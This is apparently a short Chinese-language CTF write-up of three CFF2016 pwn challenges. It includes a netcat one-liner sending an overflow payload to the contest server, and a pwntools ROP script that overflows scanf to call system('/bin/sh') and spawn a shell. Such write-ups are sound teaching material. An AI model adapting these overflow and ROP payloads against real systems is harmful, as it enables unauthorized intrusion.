【CFF2016-pwn】 Writeup

pwn1

简单的变量覆盖。

1
2
python -c 'print "a"*0x40+"\x1b\x86\x04\x08"'|nc 139.196.232.222 54000
一发带走
1.png

pwn2

scanf没有限制输入字节,可发送超长字符串导致栈溢出。

只开了NX,但是用程序自带的后门是无法读取flag的,自己发送个"/bin/sh\0"然后构造rop,拿shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(log_level="debug")
elf = ELF('memory')
system_plt = elf.symbols['system']
scanf_plt = elf.symbols['__isoc99_scanf']
pp_ret = 0x804877e
_s = 0x8048817
data = 0x0804A038
p = process('./memory')
payload1 = 'a'*(0x13+4)+p32(scanf_plt)+p32(pp_ret)+p32(_s)+p32(data)+p32(system_plt)+p32(0)+p32(data)
p.sendline(payload1)
p.sendline('/bin/sh\0')
p.interactive()

接下来

1
2
find /|grep flag
/bin/cat xxx #忘记位置了

pwn3

3.png

把文件里面这个位置的数据改成0x88,进入这个函数里面,会给一个web服务器的地址,把改变后的文件上传就拿flag。

PS:pwn3,500题,这么简单?

×

你要赏我吃糖果吗?

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. pwn1
  2. 2. pwn2
  3. 3. pwn3
,
隐藏